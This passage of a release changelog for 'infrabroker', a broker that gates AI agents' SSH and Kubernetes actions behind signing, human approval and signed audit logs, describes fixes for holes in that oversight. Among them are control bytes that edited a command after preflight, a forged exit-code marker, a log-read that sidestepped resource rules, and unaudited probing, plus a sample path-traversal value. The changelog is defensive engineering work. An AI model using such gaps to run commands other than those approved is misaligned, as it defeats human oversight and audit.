mode=ptythe command is typed into a canonical-mode tty, so the line discipline interpreted bytes such as kill-line (0x15), word-erase (0x17), erase (0x7f) and EOF (0x04) before the shell read the line: the host ran an edited command that differed from what the signer preflighted and thesession_execrecord showed.ssh_session_execnow refuses, before the signer is called and audited assession_exec_denied, any command byte below 0x20 other than tab, and 0x7f; printable text and tab are unaffected. The tool description and USAGE document the rule. - lab/run_state_lab.sh no longer kills the caller's process group on early
failure (#680) — the EXIT trap defaulted unset signer/control-plane pids to
0, so a failure before they started rankill 0 0and SIGTERMed the whole process group (make, CI, a wrapper script). The defaults are now empty like the other labs, and the trap also removes the lab work directory. - Control-plane dry-runs and preflights no longer report a signer outage as a
policy denial (#660) — behind the control plane, the pure dry-run and
sealed-exec preflight branches of
POST /v1/sign(and the guardrail dry-run run before an anomaly escalation) answered any signer failure with 403 and wrote no audit record. So everydry_run(SSH and k8s) and everyssh_session_execpreflight hit by a signer outage reached the broker as a denial. They now use the same split as the live path: a signer outage is 502 plus an auditederror(dry_run: true,target_type), and a signer rejection stays 403 but is now auditeddenied(dry_run: true). - The shell-session end-of-command marker no longer lives in a shell variable
(#643) — the marker line used to store the exit code in
<marker>_RC, sosetin a statefulssh_session_execshell revealed the private marker. A command could then print it to end its own Exec early with a forged exit code (recorded insession_exec) and shift its real output onto the next command. The exit code now goes into the fixed-name__infrabroker_rc, which is unset on the same line. The marker appears only as a literal printf argument. - Lab scripts no longer orphan sshd when an early step fails (#681) —
run_signer_lab.shandtest_ssh2_agent.shinstalled their cleanup trap long after sshd started, so a failed PKI step orgo buildleft sshd bound to its port (the next lab run failed with "address already in use") and the work directory on disk. The trap now follows the sshd start and also removes the work directory. - A long command is truncated in Slack and Teams approval notifications
instead of never being presented (#666) — slack rejects a section text over
3000 characters (
invalid_blocks, so the bridge retried each tick until the approval expired) and Teams webhooks reject oversized cards, while the control plane accepts 64 KiB request bodies, so exactly the multi-line scripts approvals gate never reached the approver. Newcontrol.PresentedCommandbounds the command (Slack 2000 bytes, Teams 8000) on a rune boundary and appends a marker with the total size and the/ui/approvals/<id>pointer; the UI and forwarded request keep the full command. - lab/run_k8s_lab.sh no longer collides with a real Kubernetes API server (#682) — the mock API server was hard-coded on 6443 with no bind check, so with Rancher/k3s/kind running the lab silently talked to the real cluster and failed with a misleading "sin token". The mock now listens on 16443, and the lab fails fast (printing the mock's output) if it exits at startup or does not answer within about 10 s.
- Session-open recording and shell failures are masked as upstream errors
(#645) — with
session_recording_strict, a recording that could not be opened (and a failedopening shell/opening PTY shell) returned the raw error, including thesession_recording_dir/<id>.castpath, unwrapped fromOpenSession;toolMessagehanded it to the model and the HTTP frontend classified it as a policy denial. These failures now wrapErrUpstream(cause kept via%v, likeExecute), so the MCP and HTTP frontends return the generic upstream message while the audit record keeps the full text. extra_resources.versionis now charset-validated (#673) —k8s.Resourcesvalidated a CRD entry'sresourceandgroupbut notversion, which goes verbatim into the REST path, sov1/../../api/v1orv1 beta?x=1#floaded and produced confusing 404s (breaking the "every identifier that reaches a path is charset-validated" invariant of #281). A version must now match the Kubernetes grammar (v1,v1beta1,v2alpha3); anything else fails the config load. The convention is documented on theextra_resourcesfield.- Audit log rotation no longer double-rotates or panics when appends queue
behind an fsync (#674) —
maybeRotatechecked the file size and the nil handle before waiting for an in-flight group-commit fsync. Two appends queued in that wait both rotated: the second produced a spurious one-entry segment, and when the first rotation's reopen failed (for example, disk full) it dereferenced the nil handle and crashed the broker process. It now re-checks the handle and re-Stats the file after the wait. The pre-wait size check stays as a fast path, so group commit is unaffected. - Colocated sealed-exec hosts:
install.shwarns,install-shim.shheals the pinned key on re-run (#684) — on a host that also runs a service, everyinstall.shrun resets/etc/infrabrokerto0750 root:infrabroker. The shim reads its fixed/etc/infrabroker/envelope.pubas the SSH account, so it then refused every sealed command, and the installer gave no warning.install.shnow warns when a pinned key is present.deploy/README.mdexplains the colocated choice: keep sealed targets off service hosts, or add the SSH accounts to theinfrabrokergroup, and what that grants.install-shim.shre-run without--pubkey/--add-pubkeynow restoresenvelope.pubtoroot:root 0644instead of only flagging a bad owner or mode in--check. - The approval-bridge identity map is validated and Slack ids are normalised
(#667) —
--identity-mapaccepted entries that silently disabled the four-eyes guard: an empty value exempted that user, duplicate keys were last-wins, and a lowercase Slack id never matched. The loader now runs the file throughconfcheck.Standardize(duplicates rejected), refuses any empty key or value naming the offending key, upper-cases keys and trims values, and logs the mapped-identity count at startup; the bridge looks the clicker up upper-cased so a lowercase id still triggers the guard. Unmapped users still fail open as documented. - File-transfer remote failures reach the agent (#644) —
ssh_put_file/ssh_get_filewrapped a non-zero exit of the remotecat/headinErrUpstream, so since #472 the model only saw "upstream failure (see broker audit log)" and could not self-correct onPermission deniedorNo such file or directory(a wrong directory looked like an outage), whilessh_executereturns the same stderr verbatim. These failures now wrap a newErrRemoteCommand, which the MCP frontend leaves unmasked (onlyErrUpstreamis masked) and the HTTP frontend maps to 502 with the message; the exit code and the trimmed remote stderr are kept. - An empty
k8s_applymanifest no longer mints a live bound token (#671) —K8sExecutecalledSignIntentbefore checking the manifest, so an apply with an empty or whitespace manifest made the signer mint a bound ServiceAccount token (auditedissued) and could request an approval for a request that can never run; only afterwards did the broker fail withk8s apply requires a manifest. A live apply with no manifest is now denied before the signer round-trip (onedeniedbroker record, no token, no approval), and thek8s_applytool rejects it up front with a clear error. Dry runs are unchanged. - Dependabot now covers the pinned docs toolchain and the demo base images
(#685) —
dependabot.ymlhad nopipentry, so the exact pins inrequirements-docs.txt(e.g.mkdocs-material) that gate the required docs check could only rot, and the docker ecosystem skippedexamples/compose/pki-initandexamples/compose/sshd(FROM alpine:3.22). Both are now refreshed weekly, and thedepsskill documents the diff scope and review for them. - A kill-switch freeze by certificate serial now matches whatever spelling the
operator typed (#647) — brokers compared a frozen serial with the session's
serial as an exact decimal string. So
broker-ctl freeze --serial 0012345(or+12345, or hex) was accepted, listed and polled as frozen, yet never killed the session: the kill switch did nothing. Brokers now parse serial freezes as base-10 numbers and compare numerically, and log and skip values that are not serials. The signer'sPOST /v1/freezeandbroker-ctl freeze --serialrequire a decimal serial and store it canonicalised, otherwise they answer400 serial must be a decimal certificate serial./v1/unfreezeaccepts the same spellings and still removes entries stored verbatim before the fix. - Audit rotation no longer hangs every Append when the segment Stat fails
(#675) —
rotatedSegmentPathstopped its same-second name search only on "does not exist". Any other Stat error looped forever under the audit log mutex: an unsearchable audit directory, an over-long name or an I/O error. Every fail-closed handler hung while/healthzand/readyzstayed green. The search now returns on such an error, soos.Renamesurfaces it and the original file is kept. It never returns a path known to exist, so no prior segment is overwritten, and it is capped at 10000 candidates. - A signer 429 is relayed as 429 with
Retry-After, unaudited, instead of an audited 403 denial (#662) —Remote.SignIntentturned a signer 429 (sign_rate_limit_per_min) into a plain rejection. So behind the control plane every throttled request became a signeddeniedaudit record (the flooding amplifier the signer avoids, #464), and the broker answered 403 withoutRetry-After. A 429 now maps to the newsigner.ErrRateLimited. The control plane relays it as 429 with the signer'sRetry-Afteron the live and dry-run paths, does not audit it, and counts it in the newcontrolplane_signer_rate_limited_total. The broker's/v1/ssh_runanswers 429 withRetry-After.OPERATIONS.mdnow says that behind the control plane the signer's bucket is per control-plane CN; use the control plane'srate_limit_per_minfor per-broker budgets. - release.yml pins goreleaser to an exact version (#686) — the release job
installed the newest goreleaser v2.x at tag-push time (
version: '~> v2'), so two tags could be built by different toolchains with no PR gate, and a regression indockers_v2would land straight on a release. It now pinsv2.18.3(likemcp-publisher), and thereleaseskill has a step to review and bump the pin deliberately before each cut. - Strict session recording trips at the size cap (#646) — A recording stops
at 100 MiB, but once capped every write returned nil, so
session_recording_strictnever fired and the rest of the session ran unrecorded. The recorder now returnsErrRecordingCappedfrom the first capped write (after the truncation note) onwards; in strict mode that aborts the in-flight command and breaks the session on the stdin, stdout and stderr paths, while non-strict recording keeps ignoring recorder errors. Thesession_recording_strictfield comment, the config reference and USAGE (section 8) document that the cap counts as a failure. - An
audit_logpath containing a glob metacharacter no longer breaks startup or segment discovery (#676) — rotated-segment discovery globbed<audit_log>.*, and a fresh start always runs it to seed the chain. A path with an unbalanced[was a pattern syntax error, so the service refused to start, and other metacharacters turned the literal path into a pattern. Discovery now lists the directory and matches the literal<basename>.prefix plus the rotated-segment name format. That affectsverify --alland chain seeding. - The broker keeps polling an approved request through a transient 502/503
instead of asking the human again (#663) — if the signer fails after
approval, the control plane keeps the approval collectable, and a fail-closed
audit-log failure does the same. But the broker's
pollApprovalgave up on the first 502/503. The agent's call failed, a re-request created a second approval, and the approver was asked twice while the first one sat unconsumed until its TTL. 502 and 503 are now transient: the broker logs once and keeps polling within its approval wait, giving up after 10 consecutive transient answers. Other 4xx answers stay terminal.API.mddocuments the retry and the 503 row. - HTTP
/v1/ssh_runnow validates input like the MCP tools (#648) — the mTLS HTTP frontend passedhost,commandandsudo_userstraight to the engine. The NUL-byte rejection and the #572 identifier caps ran only in the MCP frontends, so an mTLS client could put NUL bytes into the signed audit record. The check now lives ininternal/brokerasbroker.ValidateInput. Both frontends call it, and/v1/ssh_runanswers400naming the offending field before any certificate is requested. signK8sselects the SA binding and checks the minter before the dry-run/approval returns (#670) — the dry-run decision and the require-approval result were returned before the token minter was checked and the ServiceAccount binding for the end user's groups was selected, so a dry run saidallowed=true, a human approved, and the claim then failed asdenied(no sa_binding matches the end user's groups). Both checks now run first: a dry run reportsallowed=falsewith the reason, no approval is requested for a request that can never mint, and the live failure is a typedErrK8sNoBinding/ErrK8sNoMinteranswered 502 and auditederror(a configuration problem, like a mint failure) instead of a policydenied.- Audit readers now agree that a whitespace-only line is blank (#677) —
restoreChaintook a line of only spaces as the last record, so fail-closed startup refused to start, andaudit verifyreported it as malformed. Meanwhileaudit repairtreated it as blank and printed "nothing to repair", leaving the service bricked with no documented recovery. One shared blank-line predicate now governs chain restore,Verify/VerifyEntries,FileBoundsandTrailingCorruption. Such a line is never written and is not part of the hash chain, so skipping it weakens no check. - Control-plane audit records and approvals now say when a request targets a
Kubernetes cluster (#664) — only the k8s
forwardedandapproval-grantedrecords carriedtarget_type, so k8s approvals, decisions, denials and errors could not be told apart from SSH ones. The approval model had no target type either, so the approval UI, Teams, Slack and the log notifier labelled a cluster "Host". Every control-plane record built from a request or an approval now carriestarget_type(k8s, or omitted for SSH, as on the signer and broker).Approvalcarries it too: inGET /v1/approvals, in the webhook payload, and restored after a restart without a schema change. The UI, Teams facts, Slack card and log line label a k8s target "Cluster". - Policy mutations swap the whole hot-reloadable state (#466) —
mutateAllowre-readsigner.json, built a full new state and then swapped onlylocal/hosts/callers/reload_callers/trusted_forwarders, notsign_rate_limit_per_minor theend_user_oidcverifier thatreload()swaps. With a file edited but not yet reloaded,broker-ctl policy addapplied a hybrid: the new callers table (say a CN newly setrequire_verified_end_user) with the OLD verifier (nil → that caller fail-closed denied until the next SIGHUP), and a changed rate limit was ignored.reload()andmutateAllownow share oneswapState(and oneendUserVerifierFor, keeping the #143 reuse-when-unchanged rule, resolved before the file is persisted), so after a mutation memory equals the file. - SSH CA-backend failures on
/v1/signare no longer403 deniedand no longer leak the agent socket / vault details (#465) — everyLocal.SignIntenterror took the denial branch, so an ssh-agent dial failure (agent CA: dialing ssh-agent at <socket>: …), an Azure Key VaultSignerror or a sealed-exec preflight on a host withoutenvelope_keywas answered403with the backend's message, audited and metered asdenied, and presented to the model and the control plane as a policy denial.SignIntentnow wraps those insigner.CASignError(SSH sibling ofK8sMintError:errors.IsErrCASignFailed, classified as upstream by the broker, genericError(), backend detail inDetail); the signer logs and audits the detail on its own side as outcomeerrorand answers502withhost "<name>": certificate signing failed, which the broker classifies as an upstream failure in local and remote mode alike. Policy denials still return403/denied. API.md documents the502and the signererroroutcome. - k8s
logsverb pinned to pods (#458) — the action grammar acceptedlogson any resource while the executor always reads/pods/<name>/log, so with the shipped example rule (logson deployments/services/configmaps/events)logs configmaps prod/webwas a valid allowed canonical that minted a token, auditedresource=configmapsand read the pod's logs — and adenyonpodswas sidestepped the same way.K8sAction.Validatenow requiresresource == "pods"(core group) forlogs, a rule naminglogswhoseresourcesexcludepods/*is refused at (re)load as unsatisfiable, andsigner.example.jsonsplits the read rule intoget/liston the five resources pluslogsonpods. prompt-injection-demo.shtears the demo stack down on every exit path (#431) — the onlydocker compose down -vwas the last line, so underset -euo pipefaila failed probe (broker not reachable after a slow pull, a badINFRABROKER_TAG, a crashing broker) aborted the script and left the containers, network and the state volume with the generated demo CA key running. The teardown is now registered in anEXITtrap right after the compose command is defined (still honouringKEEP_UP=1), the readiness loop fails explicitly instead of falling through silently after 45 tries, and the script ends withexit "$fail"so it stays CI-gatable.- Lab hygiene (#437) —
lab/test_ssh2_agent.shhard-coded a personal~/.npm/_npx/<hash>/node_modulespath, so the ssh2 viability check behind the ARCHITECTURE "why not mcp-ssh-manager" decision could not be re-run anywhere else; it now takesSSH2_NMfrom the environment (fails early when unset, when the directory has nossh2package, or whennodeis missing) and documents how to install ssh2 for it.lab/run_lab.shpromised automatic cleanup but itsEXITtrap only killed the sshd and broker processes, leavinglab/work/(ephemeral SSH CA,audit.seed, logs) on disk; the trap now removes the work directory like the other labs do. - approval-bridge stops instead of posting unanswerable cards when Slack
Socket Mode dies (#452) — slack-go's Socket Mode loop returns permanently
on an invalid/revoked
SLACK_APP_TOKEN(invalid_auth,token_revoked, HTTP 404) and never closes its events channel, so the bridge logged one line and kept polling and posting cards whose Approve/Deny could never arrive, every request timed out, andmainwould have exited 0. The loop now runs under a cancellable context and its exit is fatal: the adapter stops, closes its decisions stream,Bridge.RunreturnsErrAdapterStoppedand the process exits non-zero (soRestart=on-failurerestarts it). Connection state (connected,connection_errorwith its backoff,invalid_auth,disconnect) is logged as warnings, andPostwithholds a card while the link is down (retried on the next poll). The #402 shutdown guarantee is kept. broker-ctl policy recommendverifies the audit log before mining it (#454) —loadAuditEntriesparsed the NDJSON as-is, dropped malformed lines without counting them and never checked the signature orprev_hashchain, so anyone able to write the log file could fabricate the "N× human-approved" evidence behind a PROMOTE suggestion. The command now reads the log through theaudit verifypath (internal/audit.VerifyEntries: sequence, chain and Ed25519 signature):--key <audit seed>is required unless--unverifiedis passed explicitly, every failing line is reported and skipped, and the header and aWARNline print the skipped count.- Signer's signed k8s audit record names the normalized action (#456) —
auditK8sbuiltresource=/ns=from the rawk8s_*request fields on every outcome, whileresolveK8sfills the group in from the resource table and drops the namespace of a cluster-scoped resource before deciding, so a direct/v1/signclient could getdelete namespaces -/victimissued and recorded asns=kube-system, ordeployments.appsrecorded asresource=deployments(the broker's own record already used the canonical, #149).Issuednow carries the normalizedK8sActionand the issued / approval-required / dry-run records are built from it; only the pre-policy denial paths keep the structured raw fields (the #67 gate). release.ymlassertsserver.jsonmatches the tag before publishing to the MCP Registry (#433) — themcp-registryjob only said in a comment that the taggedserver.json's version and OCI identifier match the release, so a tag pushed without the/releasebump published stale registry metadata (rejected by the registry as a duplicate, noisy rather than harmful). A step now checks.version == ${GITHUB_REF_NAME#v}and.packages[0].identifier == ghcr.io/luisgf/infrabroker:<v>withjqand fails the job beforepublisher publish; workflow permissions are unchanged.- Broker audits k8s pre-signer failures (#459) —
K8sExecutereturned an action-grammar (Validate), resource-table or resource-resolution error to the model with nothing in the broker audit log, asymmetric to its own unknown-cluster branch and to the SSH path (which audits every pre-signer failure), so an agent could probe resource names and charsets unaudited. Each such failure now leaves onedeniedentry with the constant Commandtarget=k8s(the unvalidated fields are never spliced into the token stream) and the detail inerr. broker-ctl reload(HTTP path) shows the signer's rejection reason (#441) — the fallbackPOST /v1/reloadJSON-decoded the body before checking the status, but the signer answers a rejected reload viahttp.Error(text/plain:403 not authorised to reload,500 <config error>), so a reload refused because the newsigner.jsonis invalid printederror: parse response: invalid character 'h' looking for beginning of valueand the real reason was lost. The status is now checked first and the raw body surfaced (signer rejected reload (HTTP 500): hosts: invalid regex), with the response read bounded like every other remote command.- Public
monitor_listenwarned at startup (#449) —monitor.Serveaccepted any non-empty bind silently; the only guard wasbroker-ctl doctor --security, so an operator who never ran it got no signal that the unauthenticated/healthz+/metricslistener was reachable from outside. The address classifier moved from doctor intointernal/monitor(monitor.ListenIsPublic, doctor now calls it) andServelogs a[WARN]naming the address when the bind is unspecified (0.0.0.0,::,:port) or globally routable. The listener still starts: refusing is a product decision. - Kubernetes
ca_certis parsed at (re)load (#457) —compileClusteronly read the file, contrary to its own comment, so an empty or garbageca_certpassedPOST /v1/reloadand then failed every k8s request at the broker (no CA certificate parsed), and a combined PEM holding the CA next to aPRIVATE KEYblock (a common kubeconfig-extraction mistake) was served verbatim to every authorised caller ofGET /v1/clustersand cached in every broker. The signer now decodes the file at load: every PEM block must be aCERTIFICATEthat parses, at least one is required, and only the re-encoded certificate blocks are published asca_cert_pem; anything else fails the (re)load and keeps the previous state (API.md, OPERATIONS §3). init --import-ssh-configwrites a dialableaddrfor IPv6 HostNames and says which host keys were TOFU'd (#446) — the import builtaddrashostname + ":" + port, andssh -Gprints a bare IPv6 literal, so aHostName ::1entry became"::1:22", which the broker dials verbatim ("too many colons" at first use; nothing validatesaddrat load). The addr now goes throughnet.JoinHostPort([::1]:22). Separately, a host whose key was not inknown_hostsfell back to an unauthenticatedssh-keyscanand was pinned silently, indistinguishable from a known_hosts-pinned host;initnow prints a one-line stderrnote:per such host (trust-on-first-use, verify the fingerprint)../signer.sh restartstarts the signer when it was not running (#443) —cmd_stop's "no PID file" branch didexit 0, which terminates the whole script even undercmd_stop || true, sorestarton a stopped signer printedsigner is not running (no PID file)and ended with status 0 without ever callingcmd_start. The branch nowreturn 0s, sorestartstops-if-running and then starts as README / OPERATIONS / API document.- RSA host keys are offered with the SHA-2 signature algorithms (#471) —
hopClientConfigsetHostKeyAlgorithmsto the pinned key'sType(), which for anssh-rsakey is the SHA-1 algorithm alone; OpenSSH >= 8.8 sshd dropsssh-rsafrom its defaultHostKeyAlgorithms, so every hop pinned to an RSA host key (whatinfrabroker init --import-ssh-configpicks from aknown_hostswith no ed25519 entry) failed the handshake withno common algorithm for host key; we offered: [ssh-rsa]. The client now offersrsa-sha2-512, rsa-sha2-256, ssh-rsafor an RSA key (mirroring x/crypto's ownalgorithmsForKeyFormat) and still pins the same key bytes; other key types are unchanged. broker-ctl doctor --securityFAILs aca_keysentry with a missing or unknowntype(#442) — the custody check only flaggedtype: "pem", butinternal/cahas no default type:{"_default": {"path": "pki/ssh_ca"}}(a PEM key with thetypeline forgotten) or a misspelled backend makesLoadGroupCAsfail and the signer refuses to start, while the preflight reportedPASS CA custody not local PEMas if custody were production-grade (same class as #240). A type outsidepem/akv/agentis now a FAIL naming the group and the bad type;pemkeeps its existing FAIL.- Sessions torn down at broker shutdown are audited, and reaper closes name
their cause (#470) —
Engine.Close(SIGTERM) force-closed every live session without an audit record, so asession_opencould end with no matching close, and every reaper close — including a cert-expiry force-close under a command in flight (#225) — was labelledreaped (idle/lifetime). Shutdown victims are now audited assession_closewith errbroker shutdownbefore the audit log closes, and the reaper recordsreaped (idle),reaped (lifetime)orreaped (cert expired); API.md documents theerrvalues ofsession_close. - Broker audits signer policy denials as
denied, noterror(#469) — every signer rejection of a one-shot, file transfer or session open (command policy, RBAC, sudo, PTY,allow_file_transfer, session mode, in local or remote mode) was filed underoutcome=error, so the documentedbroker-ctl audit show --outcome deniedfilter andbroker_events_total{outcome="denied"}missed all of them. The broker now classifies the signing failure like the HTTP status already did: an unreachable / 5xx signing service stayserror, a certificate withheld pending human approval is the newapproval_requiredoutcome, and anything else isdenied. audit verify --allno longer fails on a fresh install (#582).VerifySegmentstreated the empty active log file — whichOpencreates before the first entry, and which a crash at the rotation boundary also leaves — as a broken segment, so the documented post-install check reportedFAIL: 0 entries checked, 1 error(s) foundand exited 1 on a correct deployment. The active file is now the one segment allowed to be empty (verified clean, chain seed carried over); an empty rotated segment is still an error, and the sentinel is the exported,errors.Is-ableaudit.ErrEmptySegment.- broker-ctl local edits keep the config's owner and group (#559).
writeConfigAtomicchowns the temp file back to the existing config's uid/gid before the rename, so a root-runhost/callers/ca-keysedit of the service-ownedsigner.jsonno longer installs a root:root file the signer cannot read (reload kept the old policy; the next restart refused to start). A non-root run that cannot preserve the owner is refused with a clear error instead of re-owning the file; a group it cannot restore is best effort. Documented indeploy/README.md'Order and verification'. - Slack approval cards are withheld during a reconnect, not just after a
failed one (#574). slack-go never surfaces a lost Socket Mode link as a
disconnectevent — a dropped WebSocket, ping timeout or Slack-requested disconnect only show up as the reconnect'sConnectingevent — so the bridge's "posts a card only while the link is up" gate stayed open between the drop and the reconnect, and a card posted then had buttons whose clicks could not arrive. The adapter now clears its connected state on that reconnectConnectingevent (logged aslink lost, reconnecting), drops the unreachable disconnect branch, and OPERATIONS describes the real log lines and when the link counts as down. - Control plane relays the sealed-exec envelope (#573). The control plane
answered dry-run and approved-preflight requests with the decision only,
dropping the envelope the signer mints for a
sealed_exechost, andRemote.pollApprovaldropped it again on a decision-only approved result — so every session command behind the control plane reached the shim as a raw command and failed closed (exit 126).POST /v1/sign(both dry-run paths) andGET /v1/sign/result/{id}now carryenvelope, and the broker keeps it when the preflight was escalated to a human by the behaviour guardrails. OPERATIONS documents that sealed exec is supported through the control plane. - OIDC discovery and JWKS refreshes are bounded by a 15s HTTP timeout
(#583). The HTTP client handed to go-oidc had no timeout, and go-oidc keeps
it for every later JWKS refresh behind a single inflight fetch, so an IdP that
accepted the connection and never answered pinned that fetch forever: every
bearer needing a key refresh (a new
kidafter rotation) hung, no refresh could complete until the process restarted, and startup discovery could hang the same way. A hung refresh now fails within the bound as401(auth.ErrInvalidToken) and the key set recovers once the IdP answers again. broker-ctl ca-keys add --forcekeeps the entry's unflagged keys (#560). The update now overlays onlytypeand the flagged fields onto the existing raw entry (as #438 does for hosts), so an AKV entry's pinnedkey_versionand service-principal override (tenant_id,client_id,client_secret_env) survive a--key-namechange instead of silently reverting to "latest" andDefaultAzureCredential. When--typechanges, the old backend's keys are dropped explicitly and listed in the output (type changed from akv: dropped ...).init --import-ssh-configskips ProxyJump/ProxyCommand hosts and followsInclude(#565). A host reached through a bastion or a proxy process was imported as a direct-dialaddr(ssh -G's final HostName) with nojump, so the import succeeded silently and failed at first use; it is now skipped with areached via ProxyJump/ProxyCommand — not importable as a direct targetnote that, when the bastion is itself imported, names thejump/allow_as_bastionpair to set by hand. Hosts defined in files pulled in viaInclude(globs,~/, relative paths) are now discovered.- k8s sign requests reject SSH-only knobs instead of dropping them (#597).
handleSignK8snever copiedsudo,sudo_user,pty,file_transfer,session_mode,roleorpurposeinto the k8s Intent, so a request setting them (e.g.role=bastion, purpose=session, sudo=true) was signed as if they were absent —resolveK8s's rejection was unreachable over the wire and a learned approval waiver could bind to a sudo elevation no k8s intent matches. The signer now answers 400 (k8s intents do not support sudo/… pty/… file transfer/… are one-shot only/… must have role "target") and audits the request asdenied. - mTLS caller gate accepts a client certificate with
anyExtendedKeyUsage(#584). The clientAuth EKU check added in #399 only admitted leaves with no EKU extension or an explicitclientAuth, so a CA-issued client certificate carrying EKU=any — which the TLS handshake already accepts for client authentication — was rejected afterwards with the misleadingclient certificate lacks the clientAuth extended key usage.hasClientAuthEKUnow mirrors crypto/tls exactly; serverAuth-only and other non-client leaves are still refused. - PTY session commands are bounded at the tty line limit (#579). In
mode=ptythe broker types the command into a tty in canonical mode, and the Linux line discipline silently drops everything past 4095 bytes of a line, so a longerssh_session_execcommand ran as a truncated prefix of what the signer preflighted and the audit log recorded.SessionExecnow rejects a pty command longer than 4000 bytes (broker.MaxPTYCommandBytes) with a bad-request error before the signer is called, audited assession_exec_denied; thessh_session_exectool description and USAGE §3.3 state the limit and the workaround (mode=execor split the command). - Post-approval signer denials are
403+denied, not502+error(#576).GET /v1/sign/result/{id}mapped every failure of the approved forward to502 signing after approval failedand audited iterror, so a subject frozen after the human approved — or any policy denial the signer issued on the approved command — was metered as an outage and reached the broker asapproval not granted (502). The control plane now applies the same split asPOST /v1/sign(#455): a signer5xx/outage stays502+error(and the approval remains collectable for a retry); a signer refusal is auditeddeniedwithapproval_id/approved_byand relayed as403with the signer's reason. API.md documents both rows. broker-ctlloads the documented~/.config/broker-ctl/config.jsonon every platform (#566). The per-user client parameters file was looked up viaos.UserConfigDir(~/Library/Application Supporton macOS), so a file placed where the--client-confighelp, the usage text and OPERATIONS §4 say was silently ignored and the CLI fell back to the CWD-relative./pkidefaults. The candidate is now$XDG_CONFIG_HOME/broker-ctl/config.json(absolute only) or$HOME/.config/broker-ctl/config.jsonon every platform; the CWD is still never searched.- Kubernetes API client no longer leaks a keep-alive connection per call
(#596). The per-operation
http.Transportbuilt for everyK8sExecute(broker) and everyMintToken(signer) was discarded without closing its idle pool, so each call left a pooled TLS connection and two goroutines alive until the API server (or a load balancer in front of it) timed the connection out. The single-use transport now disables keep-alives, so the connection is torn down with the response. - Live k8s policy denials are audited from the normalized action (#598). A
real (non-dry-run) denial on
/v1/sign target_type=k8swas recorded from the raw request fields —resource=deploymentsinstead ofdeployments.appswhen the group was omitted on the wire,ns=kube-systemfor a cluster-scoped resource the policy decided as-— while the dry-run record of the same request already used the canonical (#456).signK8snow hands the projected decision and the normalized action back alongside the denial error, and the signer'sdeniedrecord names the same canonical (andpolicy_rule) as the dry-run record. - Labs no longer orphan the k8s mock API server or sshd (#591) —
run_k8s_lab.shstarted the mock with( cd … && go run … ) &and killed$!, which is the subshell (andgo runre-execs the program as a child), so the mock stayed on:6443with a deleted cert and the next run died with "address already in use"; it is now built once and started as a plain binary the EXIT trap kills.run_lab.shinstalled its cleanup trap only aftergo build, so a build failure left sshd on:2222andlab/workbehind; the trap is now set right after sshd starts. file_transfer_max_bytesis bounded by the SSH output cap (#580).ssh_get_filereads through a one-shot stdout capture that is cut at 10 MiB with a truncation marker appended, so afile_transfer_max_bytesabove that cap let a larger file come back truncated — marker included — pass the size check and be hashed and audited as the file. The broker now refuses to start whenfile_transfer_max_bytesexceeds 10485706 bytes (the cap minus the marker, exported frominternal/sshasMaxOutputBytes/TruncationMarkerLen), and the ceiling is documented inreference/config.mdand USAGE §9. The default (512 KiB) andssh_put_filewere unaffected.- Compose demo restarts the broker and control plane on failure (#592) —
depends_on: condition: service_startedonly orders container starts and does not wait for the control plane to bind, and the broker loads the host list once at startup and exits when that fails, so a lost startup race left the broker exited until a manualup(the prompt-injection demo then reported "did not become ready within 90s").brokerandcontrol-planenow carryrestart: on-failure(spec-only, podman-compatible). - approval-bridge's Slack Web API calls are bounded by a 15 s client timeout
(#575). The Slack client used slack-go's default
http.Clientwith no timeout, andPostruns inline in the bridge's single select loop, so achat.postMessagethat connected but never answered wedged the whole bridge — no more polls, no decision relays, button clicks piling up — while the process stayed up. The client now carriesOptionHTTPClient(&http.Client{Timeout: 15s})(the same bound as the control-plane client), so a stalled call fails and the bridge retries on its next poll; a test drivesPostat a never-responding server and asserts it returns within the bound. - Broker audits the k8s approval-required path and flags k8s dry-run records
(#599). An approval-gated Kubernetes action withheld by the signer returned
the approval error without any broker audit entry — the k8s sibling of #469's
approval_requiredwas missing — and k8sdry_run_allowed/dry_run_deniedrecords lackeddry_run: true, sobroker-ctl audit showdid not render[dry-run]for them. Both are recorded now. The k8s MCP tools also stop telling the model it may approve in-chat: elicitation exists only forssh_execute, so the k8s approval message points at the control plane /broker-ctlinstead. - Compose demo:
pki-initrecovers from a half-provisioned volume (#593) — the.provisionedmarker is written last and nothing cleared a partial run, so after one failure everycompose upre-ranssh-keygenover the existing CA, which prompted "Overwrite?", read EOF and exited 1 untilcompose down -v. With the marker absent the script now removespki/,sshd/,state/and the generated configs before provisioning. session_recording_strictnow covers stderr recording failures (#581). The stderr drain of shell/pty sessions discardedRecorder.WriteStderrerrors regardless of strict mode, so a recording failure that first surfaced on a stderr event (for example ENOSPC during a stderr-only command) let the command complete with its result, contradicting the documented "aborts the session on any recording failure" contract (#206); the gap only closed at the next command's stdin write. The stderr buffer now keeps the failure in strict mode andExecfails the command and breaks the session before returning its result (and before sending the next command when the failure trailed the marker). Non-strict sessions are unchanged (counted inrecording_write_errors_total).broker-ctl --forceedits keep comments and key order inside the entry; config patches no longer reformat the whole file (#561).host add --forceandcallers add --forcenow emit per-key JSON-Patch ops (/hosts/<name>/<key>,/callers/<cn>/allowed_groups) instead of replacing the object, so the//comments inside the updated entry and its authored key order survive, and keys the flags did not change (acommand_policy, for instance) are not rewritten at all.confcheck.Patch— shared with the signer's durable policy edits — formats only the values it inserts, in the file's own indentation, instead of running a document-wide hujsonFormatthat re-indented every line with tabs, aligned values and expanded one-line entries on each edit.- Deploy/demo hygiene (#595) —
.gitignorenow covers the/control-plane,/approval-bridgeand/infrabroker-shimroot binaries; a root.dockerignorekeepspki/, real*.jsonconfigs,*.log,lab/work*,dist*/,site/and.claude/worktrees/out of anydocker build .context (the glama introspection image didCOPY . .; the goreleaser release image is unaffected);deploy/install-shim.shwrites the pinned envelope key to amktempbeside the target that an EXIT trap removes, so an invalid key no longer leaves an emptyenvelope.pub.new; anddocs/CONTAINERS.md+compose.yamlexplain the expectedmonitor_listen … is publicWARN (#449) in the demo. broker-ctl doctor --securityflagsaudit_fail_mode: openand checks a local-mode broker's CA custody (#562). A newaudit_fail_mode fail-closedfinding FAILsopen(actions would proceed unrecorded when the audit log cannot be written, reverting the v2.0.0 default) in the signer, broker and control-plane configs. The broker config is now held to the same CA-custody rule as the signer when it signs in-process (nosignerblock): a localpemca_key/ca_keysFAILs; with asignerblock it PASSes ascustody separated (remote mode). Both items are in thedeploy/README.mdproduction checklist.broker-ctl doctor --securityno longer FAILs an emptysign_callerswith a false justification (#563). The control plane already denies an approver CN the sign path whensign_callersis empty, so the finding is now a WARN that says so and points at what the allowlist actually adds: without it any non-approver CN signed byclient_camay sign. PASS whensign_callersis 